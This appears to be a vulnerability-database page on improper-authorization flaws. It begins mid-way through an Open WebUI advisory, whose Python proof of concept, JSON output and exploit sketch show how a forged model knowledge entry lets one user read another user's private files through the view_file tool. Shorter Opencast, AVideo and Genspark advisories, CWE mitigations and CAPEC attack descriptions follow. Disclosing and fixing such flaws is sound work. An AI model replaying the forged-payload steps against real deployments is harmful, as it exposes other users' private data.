models_module.Models._to_model_model\n\n    async def fake_set_access_grants(*args, **kwargs):\n        return True\n\n    async def fake_to_model(self, model, access_grants=None, db=None):\n        return SimpleNamespace(\n            id=model.id,\n            user_id=model.user_id,\n            base_model_id=model.base_model_id,\n            name=model.name,\n            params=model.params,\n            meta=model.meta,\n            access_grants=[],\n            is_active=model.is_active,\n            created_at=model.created_at,\n            updated_at=model.updated_at,\n        )\n\n    try:\n        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        models_module.AccessGrants.set_access_grants = fake_set_access_grants\n        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n        inserted = await models_module.Models.insert_new_model(\n            models_module.ModelForm(\n                id=\"attacker-model\",\n                base_model_id=\"gpt-vision-base\",\n                name=\"Attacker Model\",\n                params={},\n                meta={\n                    \"knowledge\": [\n                        {\n                            \"id\": victim_file_id,\n                            \"type\": \"file\",\n                            \"name\": \"victim-private.txt\",\n                        }\n                    ],\n                    \"builtinTools\": {\"knowledge\": True},\n                },\n            ),\n            user_id=\"attacker\",\n        )\n    finally:\n        models_module.get_async_db_context = original_context\n        models_module.AccessGrants.set_access_grants = original_set_grants\n        models_module.Models._to_model_model = original_to_model\n\n    stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n    stored_knowledge_ids = [\n        item.get(\"id\")\n        for meta in stored_meta\n        for item in ((meta or {}).get(\"knowledge\") or [])\n    ]\n\n    return {\n        \"insert_returned_model\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n        \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n        \"stored_knowledge_file_ids\": stored_knowledge_ids,\n    }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n    class FakeFiles:\n        looked_up_ids = []\n\n        async def get_file_by_id(self, file_id, db=None):\n            self.looked_up_ids.append(file_id)\n            if file_id == victim_file_id:\n                return SimpleNamespace(\n                    id=victim_file_id,\n                    user_id=\"victim\",\n                    filename=\"victim-private.txt\",\n                    data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n                    created_at=1,\n                    updated_at=2,\n                )\n            return None\n\n    async def fake_has_access_to_file(file_id, access_type, user, db=None):\n        return False\n\n    class FakeUserModel:\n        def __init__(self, **kwargs):\n            self.__dict__.update(kwargs)\n\n    fake_files = FakeFiles()\n    fake_files_module = types.SimpleNamespace(Files=fake_files)\n    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n    original_files_module = sys.modules.get(\"open_webui.models.files\")\n    original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n    try:\n        sys.modules[\"open_webui.models.files\"] = fake_files_module\n        sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n        source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n        selected = [\n            node\n            for node in tree.body\n            if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n        ]\n        if len(selected) != 1:\n            raise RuntimeError(\"could not find view_file\")\n        module = ast.Module(body=selected, type_ignores=[])\n        ast.fix_missing_locations(module)\n        ns = {\n            \"json\": json,\n            \"Optional\": __import__(\"typing\").Optional,\n            \"Request\": object,\n            \"UserModel\": FakeUserModel,\n            \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n            \"MAX_VIEW_FILE_CHARS\": 100_000,\n            \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n        }\n        exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n        view_file = ns[\"view_file\"]\n\n        denied_without_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[],\n        )\n        allowed_with_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n        )\n    finally:\n        if original_files_module is not None:\n            sys.modules[\"open_webui.models.files\"] = original_files_module\n        else:\n            sys.modules.pop(\"open_webui.models.files\", None)\n        if original_acl_module is not None:\n            sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n        else:\n            sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n    denied = json.loads(denied_without_model_knowledge)\n    allowed = json.loads(allowed_with_model_knowledge)\n    return {\n        \"file_ids_looked_up\": fake_files.looked_up_ids,\n        \"without_model_knowledge\": denied,\n        \"with_forged_model_knowledge\": allowed,\n        \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n    victim_file_id = \"victim-private-file\"\n\n    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n    result = {\n        \"confirmed\": (\n            insert_sink[\"insert_returned_model\"] is True\n            and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n            and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n            and tool_read[\"private_content_disclosed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"victim_user_id\": \"victim\",\n        \"victim_file_id\": victim_file_id,\n        \"attacker_owns_file\": False,\n        \"model_insert_sink\": insert_sink,\n        \"tool_read\": tool_read,\n        \"source\": {\n            \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n            \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n            \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n  \"attacker_owns_file\": false,\n  \"attacker_user_id\": \"attacker\",\n  \"confirmed\": true,\n  \"model_insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_model\": true,\n    \"stored_knowledge_file_ids\": [\n      \"victim-private-file\"\n    ],\n    \"stored_model_ids\": [\n      \"attacker-model\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"tool_read\": {\n    \"private_content_disclosed\": true,\n    \"with_forged_model_knowledge\": {\n      \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n      \"filename\": \"victim-private.txt\",\n      \"id\": \"victim-private-file\"\n    },\n    \"without_model_knowledge\": {\n      \"error\": \"File not found\"\n    }\n  },\n  \"victim_file_id\": \"victim-private-file\",\n  \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n  \"meta\": {\n    \"knowledge\": [\n      {\n        \"id\": \"VICTIM_FILE_ID\",\n        \"type\": \"file\",\n        \"name\": \"victim-private.txt\"\n      }\n    ],\n    \"builtinTools\": {\n      \"knowledge\": true\n    }\n  }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file\u0027s extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, \u0027read\u0027, user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`\u0027s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.",
  "id": "GHSA-vjqm-6gcc-62cr",
  "modified": "2026-06-17T14:15:33Z",
  "published": "2026-06-17T14:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion"
}

GHSA-VM9M-6J35-R47J

Vulnerability from github – Published: 2026-06-15 00:31 – Updated: 2026-06-15 00:31
VLAI
Details

A vulnerability has been found in Genspark AI Workspace App 2.8.4 on Android. This vulnerability affects unknown code of the component ai.mainfunc.genspark. The manipulation leads to improper authorization in handler for custom url scheme. The attack can only be performed from a local environment. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-14T23:16:35Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in Genspark AI Workspace App 2.8.4 on Android. This vulnerability affects unknown code of the component ai.mainfunc.genspark. The manipulation leads to improper authorization in handler for custom url scheme. The attack can only be performed from a local environment. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-vm9m-6j35-r47j",
  "modified": "2026-06-15T00:31:50Z",
  "published": "2026-06-15T00:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/actuator/ai.mainfunc.genspark"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12190"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825558"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370836"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370836/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VMM6-W4CF-7F3X

Vulnerability from github – Published: 2020-01-30 21:21 – Updated: 2021-10-20 18:03
VLAI
Summary
Authentication Bypass For Endpoints With Anonymous Access in Opencast
Details

Impact

Using a remember-me cookie with an arbitrary username can cause Opencast to assume proper authentication for that user even if the remember-me cookie was incorrect given that the attacked endpoint also allows anonymous access.

This way, an attacker can, for example, fake a remember-me token, assume the identity of the global system administrator and request non-public content from the search service without ever providing any proper authentication.

Patches

This problem is fixed in Opencast 7.6 and Opencast 8.1

Workarounds

As a workaround for older, unpatched versions, disabling remember-me cookies in etc/security/mh_default_org.xml will mitigate the problem but will obviously also disable this feature without obvious indication. To deactivate this, remove the following line from the security configuration:

<sec:remember-me … />

References

For more information

If you have any questions or comments about this advisory:

  • Open an issue in opencast/opencast
  • For security-relevant information, email us at security@opencast.org
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0"
            },
            {
              "fixed": "8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-01-30T21:13:52Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nUsing a remember-me cookie with an arbitrary username can cause Opencast to assume proper authentication for that user even if the remember-me cookie was incorrect given that the attacked endpoint also allows anonymous access.\n\nThis way, an attacker can, for example, fake a remember-me token, assume the identity of the global system administrator and request non-public content from the search service without ever providing any proper authentication.\n\n\n### Patches\n\nThis problem is fixed in Opencast 7.6 and Opencast 8.1\n\n\n### Workarounds\n\nAs a workaround for older, unpatched versions, disabling remember-me cookies in `etc/security/mh_default_org.xml` will mitigate the problem but will obviously also disable this feature without obvious indication. To deactivate this, remove the following line from the security configuration:\n\n```xml\n\u003csec:remember-me \u2026 /\u003e\n```\n\n### References\n\n- [Remember-me cookie in the security configuration file](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org",
  "id": "GHSA-vmm6-w4cf-7f3x",
  "modified": "2021-10-20T18:03:07Z",
  "published": "2020-01-30T21:21:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-vmm6-w4cf-7f3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/b157e1fb3b35991ca7bf59f0730329fbe7ce82e8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authentication Bypass For Endpoints With Anonymous Access in Opencast"
}

GHSA-VPFX-PXQW-2W79

Vulnerability from github – Published: 2026-05-18 13:30 – Updated: 2026-06-09 10:28
VLAI
Summary
AVideo CVE-2026-43881 incomplete fix - `objects/mention.json.php:17` is an unauthenticated user enumeration sibling that survives `d9cdc7024`
Details

CVE-2026-43881 fix d9cdc7024 patched users.json.php only. The same anti-pattern survives at master HEAD in:

objects/mention.json.php:17     $ignoreAdmin = true;
objects/mention.json.php:18     $users = User::getAllUsers($ignoreAdmin,
                                    ['name', 'email', 'user', 'channelName'], 'a');

No User::loginCheck(), no admin gate. Only entry guard: preg_match('/^@/', $_REQUEST['term']) and hard-coded rowCount=10.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-204",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T13:30:05Z",
    "nvd_published_at": "2026-05-29T14:16:31Z",
    "severity": "MODERATE"
  },
  "details": "CVE-2026-43881 fix `d9cdc7024` patched `users.json.php` only. The same anti-pattern survives at master HEAD in:\n\n```\nobjects/mention.json.php:17     $ignoreAdmin = true;\nobjects/mention.json.php:18     $users = User::getAllUsers($ignoreAdmin,\n                                    [\u0027name\u0027, \u0027email\u0027, \u0027user\u0027, \u0027channelName\u0027], \u0027a\u0027);\n```\n\nNo `User::loginCheck()`, no admin gate. Only entry guard: `preg_match(\u0027/^@/\u0027, $_REQUEST[\u0027term\u0027])` and hard-coded `rowCount=10`.",
  "id": "GHSA-vpfx-pxqw-2w79",
  "modified": "2026-06-09T10:28:13Z",
  "published": "2026-05-18T13:30:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vpfx-pxqw-2w79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45620"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6rvw-7p8v-mjfq"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo CVE-2026-43881 incomplete fix - `objects/mention.json.php:17` is an unauthenticated user enumeration sibling that survives `d9cdc7024`"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-39: Manipulating Opaque Client-based Data Tokens

In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.

CAPEC-402: Bypassing ATA Password Security

An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.

CAPEC-45: Buffer Overflow via Symbolic Links

This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

CAPEC-5: Blue Boxing

This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.

{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-647: Collect Data from Registries

An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.